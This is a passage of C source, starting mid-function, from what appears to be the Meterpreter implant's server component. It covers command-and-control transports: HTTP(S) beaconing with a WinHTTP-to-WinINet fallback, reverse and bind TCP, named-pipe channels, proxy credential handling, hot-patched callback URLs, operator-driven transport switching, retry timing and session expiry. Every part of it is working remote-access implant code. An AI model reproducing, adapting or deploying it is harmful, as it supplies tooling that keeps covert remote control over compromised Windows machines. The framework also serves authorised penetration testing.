emptyHash[CERT_HASH_SIZE] = { 0 }; if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE)) { ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20); memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); } ctx->create_req = get_request_winhttp; ctx->send_req = send_request_winhttp; ctx->close_req = close_request_winhttp; ctx->validate_response = validate_response_winhttp; ctx->receive_response = receive_response_winhttp; ctx->read_response = read_response_winhttp; transport->timeouts.comms = config->common.comms_timeout; transport->timeouts.retry_total = config->common.retry_total; transport->timeouts.retry_wait = config->common.retry_wait; transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; ctx->url = transport->url = _wcsdup(config->common.url); transport->packet_transmit = packet_transmit_http; transport->server_dispatch = server_dispatch_http; transport->transport_init = server_init_winhttp; transport->transport_deinit = server_deinit_http; transport->transport_destroy = transport_destroy_http; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_config_size = transport_get_config_size_http; return transport; }
/*! * @brief The servers main dispatch loop for incoming requests using HTTP(S). * @param remote Pointer to the remote endpoint for this server connection. * @param dispatchThread Pointer to the main dispatch thread. * @returns Indication of success or failure. */ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) { BOOL running = TRUE; LONG result = ERROR_SUCCESS; Packet* packet = NULL; THREAD* cpt = NULL; DWORD ecount = 0; DWORD delay = 0; Transport* transport = remote->transport; HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; while (running) { if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to communication timeout"); break; } if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end); break; } if (event_poll(dispatchThread->sigterm, 0)) { dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); break; } dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive_http(remote, &packet); if (result != ERROR_SUCCESS) { // Update the timestamp for empty replies if (result == ERROR_EMPTY) { transport->comms_last_packet = current_unix_timestamp(); } else if (result == ERROR_WINHTTP_CANNOT_CONNECT) { dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET"); // next we need to indicate that we need to do a switch to wininet when we terminate ctx->move_to_wininet = TRUE; // and pretend to do a transport switch, to ourselves! remote->next_transport = remote->transport; result = ERROR_SUCCESS; break; } else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT) { // This means that the certificate validation failed, and so // we don't trust who we're connecting with, so we need to move // on to another transport. // If we're the only transport, then we should wait for the allotted // time before trying again. Otherwise, we can just switch immediately. // This avoids spinning the process and making way too many requests // in a short period of time (ie. avoiding noise). if (remote->transport == remote->transport->next_transport) { remote->next_transport_wait = remote->transport->timeouts.retry_wait; } break; } else if (result == ERROR_BAD_CONFIGURATION) { // something went wrong with WinINET so break. break; } delay = 10 * ecount; if (ecount >= 10) { delay *= 10; } ecount++; dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); Sleep(min(10000, delay)); } else { transport->comms_last_packet = current_unix_timestamp(); // Reset the empty count when we receive a packet ecount = 0; dprintf("[DISPATCH] Returned result: %d", result); if (packet != NULL) { running = command_handle(remote, packet); dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); if (ctx->new_uri != NULL) { dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); dprintf("[DISPATCH] Old URI is: %S", ctx->uri); dprintf("[DISPATCH] Old URL is: %S", transport->url); // if the new URI needs more space, let's realloc space for the new URL now int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); if (diff > 0) { dprintf("[DISPATCH] New URI is bigger by %d", diff); transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); } // we also need to patch the new URI into the original transport URL, not just the currently // active URI for comms. If we don't, then migration behaves badly. // The URL looks like this: http(s)://<domain-or-ip>:port/lurivalue/UUIDJUNK/ // Start by locating the start of the URI in the current URL, by finding the third slash, // as this value includes the LURI wchar_t* csr = transport->url; for (int i = 0; i < 3; ++i) { // We need to move to the next character first in case // we are currently pointing at the previously found / // we know we're safe skipping the first character in the whole // URL because that'll be part of the scheme (ie. 'h' in http) ++csr; while (*csr != L'\0' && *csr != L'/') { ++csr; } dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr); // this shouldn't happen! if (*csr == L'\0') { break; } } // the pointer that we have will be dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); // patch in the new URI wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); dprintf("[DISPATCH] New URL is: %S", transport->url); // clean up SAFE_FREE(ctx->uri); ctx->uri = ctx->new_uri; ctx->new_uri = NULL; } } else { dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); } } } return result; }
/*! * @brief Initialise the HTTP(S) connection. * @param transport Pointer to the transport instance. * @return Indication of success or failure. */ static BOOL server_init_winhttp(Transport* transport) { URL_COMPONENTS bits; wchar_t tmpHostName[URL_SIZE]; wchar_t tmpUrlPath[URL_SIZE]; HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; dprintf("[WINHTTP] Initialising ..."); // configure proxy if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); } else { ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); } if (!ctx->internet) { dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); return FALSE; } dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); // The InternetCrackUrl method was poorly designed... ZeroMemory(tmpHostName, sizeof(tmpHostName)); ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); ZeroMemory(&bits, sizeof(bits)); bits.dwStructSize = sizeof(bits); bits.dwHostNameLength = URL_SIZE - 1; bits.lpszHostName = tmpHostName; bits.dwUrlPathLength = URL_SIZE - 1; bits.lpszUrlPath = tmpUrlPath; dprintf("[DISPATCH] About to crack URL: %S", transport->url); WinHttpCrackUrl(transport->url, 0, 0, &bits); SAFE_FREE(ctx->uri); ctx->uri = _wcsdup(tmpUrlPath); transport->comms_last_packet = current_unix_timestamp(); dprintf("[DISPATCH] Configured URI: %S", ctx->uri); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); // Allocate the connection handle ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); if (!ctx->connection) { dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); return FALSE; } dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); return TRUE; }
/*! * @brief Initialise the HTTP(S) connection. * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. * @param sock Reference to the original socket FD passed to metsrv (ignored); * @return Indication of success or failure. */ static BOOL server_init_wininet(Transport* transport) { URL_COMPONENTS bits; wchar_t tmpHostName[URL_SIZE]; wchar_t tmpUrlPath[URL_SIZE]; HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; dprintf("[WININET] Initialising ..."); // configure proxy if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); } else { ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } if (!ctx->internet) { dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); return FALSE; } dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); // The InternetCrackUrl method was poorly designed... ZeroMemory(tmpHostName, sizeof(tmpHostName)); ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); ZeroMemory(&bits, sizeof(bits)); bits.dwStructSize = sizeof(bits); bits.dwHostNameLength = URL_SIZE - 1; bits.lpszHostName = tmpHostName; bits.dwUrlPathLength = URL_SIZE - 1; bits.lpszUrlPath = tmpUrlPath; dprintf("[DISPATCH] About to crack URL: %S", transport->url); InternetCrackUrlW(transport->url, 0, 0, &bits); SAFE_FREE(ctx->uri); ctx->uri = _wcsdup(tmpUrlPath); transport->comms_last_packet = current_unix_timestamp(); dprintf("[DISPATCH] Configured URI: %S", ctx->uri); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); // Allocate the connection handle ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!ctx->connection) { dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); return FALSE; } if (ctx->proxy) { if (ctx->proxy_user) { InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); } if (ctx->proxy_pass) { InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); } } dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); return TRUE; }
/*! * @brief Configure the named pipe connnection. If it doesn't exist, go ahead and estbalish it. * @param transport Pointer to the transport instance. * @return Indication of success or failure. */ static BOOL configure_named_pipe_connection(Transport* transport) { DWORD result = ERROR_SUCCESS; wchar_t tempUrl[512]; NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; if (ctx->pipe_name == NULL) { dprintf("[NP CONFIGURE] Url: %S", transport->url); wcscpy_s(tempUrl, 512, transport->url); dprintf("[NP CONFIGURE] Copied: %S", tempUrl); transport->comms_last_packet = current_unix_timestamp(); dprintf("[NP CONFIGURE] Making sure it's a pipe ..."); if (wcsncmp(tempUrl, L"pipe", 4) == 0) { dprintf("[NP CONFIGURE] Yup, it is, parsing"); wchar_t* pServer = wcsstr(tempUrl, L"//") + 2; dprintf("[NP CONFIGURE] pServer is %p", pServer); dprintf("[NP CONFIGURE] pServer is %S", pServer); wchar_t* pName = wcschr(pServer, L'/') + 1; dprintf("[NP CONFIGURE] pName is %p", pName); dprintf("[NP CONFIGURE] pName is %S", pName); wchar_t* pSlash = wcschr(pName, L'/'); dprintf("[NP CONFIGURE] pName is %p", pName); // Kill off a trailing slash if there is one if (pSlash != NULL) { *pSlash = '\0'; } *(pName - 1) = '\0'; dprintf("[NP CONFIGURE] Server: %S", pServer); dprintf("[NP CONFIGURE] Name: %S", pName); size_t requiredSize = wcslen(pServer) + wcslen(pName) + 9; ctx->pipe_name = (STRTYPE)calloc(requiredSize, sizeof(CHARTYPE)); _snwprintf_s(ctx->pipe_name, requiredSize, requiredSize - 1, L"\\\\%s\\pipe\\%s", pServer, pName); dprintf("[NP CONFIGURE] Full pipe name: %S", ctx->pipe_name); } } // check if comms is already open via a staged payload if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) { // Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return. DWORD mode = 0; SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL); dprintf("[NP] Connection already running on %u", ctx->pipe); } else { dprintf("[NP CONFIGURE] pipe name is %p", ctx->pipe_name); if (ctx->pipe_name != NULL) { if (wcsncmp(ctx->pipe_name, L"\\\\.\\", 4) == 0) { ctx->pipe = bind_named_pipe(ctx->pipe_name, &transport->timeouts); } else { ctx->pipe = reverse_named_pipe(ctx->pipe_name, &transport->timeouts); } } else { dprintf("[NP] we might have had an invalid URL"); result = ERROR_INVALID_PARAMETER; } } if (ctx->pipe == INVALID_HANDLE_VALUE) { dprintf("[SERVER] Something went wrong"); return FALSE; } dprintf("[SERVER] Looking good, FORWARD!"); // Do not allow the file descriptor to be inherited by child processes SetHandleInformation((HANDLE)ctx->pipe, HANDLE_FLAG_INHERIT, 0); transport->comms_last_packet = current_unix_timestamp(); return TRUE; }
/*! * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it. * @param remote Pointer to the remote instance with the TCP transport details wired in. * @param sock Reference to the original socket FD passed to metsrv. * @return Indication of success or failure. */ static BOOL configure_tcp_connection(Transport* transport) { DWORD result = ERROR_SUCCESS; size_t charsConverted; char tempUrl[512] = {0}; TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; // check if comms is already open via a staged payload if (ctx->fd) { dprintf("[TCP] Connection already running on %u", ctx->fd); } else { dprintf("[TCP CONFIGURE] Url: %s", transport->url); // copy the URL to the temp location and work from there // so that we don't damage the original URL while breaking // it up into its individual parts. strncpy(tempUrl, transport->url, sizeof(tempUrl) - 1); //transport->start_time = current_unix_timestamp(); transport->comms_last_packet = current_unix_timestamp(); if (strncmp(tempUrl, "tcp", 3) == 0) { char* pHost = strstr(tempUrl, "//") + 2; char* pPort = strrchr(pHost, ':') + 1; // check if we're using IPv6 if (tempUrl[3] == '6') { char* pScopeId = strrchr(pHost, '?') + 1; *(pScopeId - 1) = '\0'; *(pPort - 1) = '\0'; dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId); result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total, transport->timeouts.retry_wait, &ctx->fd); } else { u_short usPort = (u_short)atoi(pPort); // if no host is specified, then we can assume that this is a bind payload, otherwise // we'll assume that the payload is a reverse_tcp one and the given host is valid if (*pHost == ':') { dprintf("[STAGELESS] IPv4 bind port %s", pPort); result = bind_tcp(usPort, &ctx->fd); } else { *(pPort - 1) = '\0'; dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort); result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total, transport->timeouts.retry_wait, &ctx->fd); } } } } if (result != ERROR_SUCCESS) { dprintf("[SERVER] Something went wrong %u", result); return FALSE; } dprintf("[SERVER] Looking good, FORWARD!"); dprintf("[SERVER] Flushing the socket handle..."); server_socket_flush(transport); // Short term hack to be removed when the stageless stuff works. // Flush the socket a second time to ignore the payload if we're // reconnecting server_socket_flush(transport); transport->comms_last_packet = current_unix_timestamp(); dprintf("[SERVER] Initializing SSL..."); if (!server_initialize_ssl(transport)) { return FALSE; } dprintf("[SERVER] Negotiating SSL..."); if (!server_negotiate_ssl(transport)) { return FALSE; } return TRUE; }
/*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD * serverThread = NULL; Remote *remote = NULL; char cStationName[256] = { 0 }; char cDesktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing..."); int local_error = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); srand(time(NULL)); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_INVALID_PARAMETER); goto out; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // TODO: need to implement this when we have the valid approach done for stageless. //load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); remote_deallocate(remote); out: res = GetLastError(); dprintf("[SERVER] Finished."); return res == ERROR_SUCCESS; }
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) { DWORD result = ERROR_NOT_ENOUGH_MEMORY; Transport* transport = NULL; wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); TimeoutSettings timeouts = { 0 }; int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); // special case, will still leave this in here even if it's not transport related if (sessionExpiry != 0) { remote->sess_expiry_time = sessionExpiry; remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; } if (timeouts.comms == 0) { timeouts.comms = remote->transport->timeouts.comms; } if (timeouts.retry_total == 0) { timeouts.retry_total = remote->transport->timeouts.retry_total; } if (timeouts.retry_wait == 0) { timeouts.retry_wait = remote->transport->timeouts.retry_wait; } dprintf("[CHANGE TRANS] Url: %S", transportUrl); dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); do { if (transportUrl == NULL) { dprintf("[CHANGE TRANS] Something was NULL"); break; } if (wcsncmp(transportUrl, L"tcp", 3) == 0) { MetsrvTransportTcp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; memcpy(config.common.url, transportUrl, sizeof(config.common.url)); transport = remote->trans_create(remote, &config.common, NULL); } else { BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); MetsrvTransportHttp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; wcsncpy(config.common.url, transportUrl, URL_SIZE); if (proxy) { wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE); free(proxy); } if (proxyUser) { wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE); free(proxyUser); } if (proxyPass) { wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE); free(proxyPass); } if (ua) { wcsncpy(config.ua, ua, UA_SIZE); free(ua); } if (certHash) { memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE); // No need to free this up as it's not a wchar_t } transport = remote->trans_create(remote, &config.common, NULL); } // tell the server dispatch to exit, it should pick up the new transport result = ERROR_SUCCESS; } while (0); *transportBufer = transport; return result; }
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* dispatchThread) { BOOL running = TRUE; LONG result = ERROR_SUCCESS; Packet* packet = NULL; THREAD* cpt = NULL; DWORD ecount = 0; DWORD delay = 0; HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; while (running) { if (ctx->comm_timeout != 0 && ctx->comm_last_packet + ctx->comm_timeout < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to communication timeout"); break; } if (ctx->expiration_time != 0 && ctx->expiration_time < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), ctx->expiration_time); break; } if (event_poll(dispatchThread->sigterm, 0)) { dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); break; } dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive_via_http(remote, &packet); if (result != ERROR_SUCCESS) { // Update the timestamp for empty replies if (result == ERROR_EMPTY) { ctx->comm_last_packet = current_unix_timestamp(); } else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT) { // This means that the certificate validation failed, and so // we don't trust who we're connecting with. Bail out. break; } if (ecount < 10) { delay = 10 * ecount; } else { delay = 100 * ecount; } ecount++; dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); Sleep(min(10000, delay)); continue; } ctx->comm_last_packet = current_unix_timestamp(); // Reset the empty count when we receive a packet ecount = 0; dprintf("[DISPATCH] Returned result: %d", result); running = command_handle(remote, packet); dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); } return result; }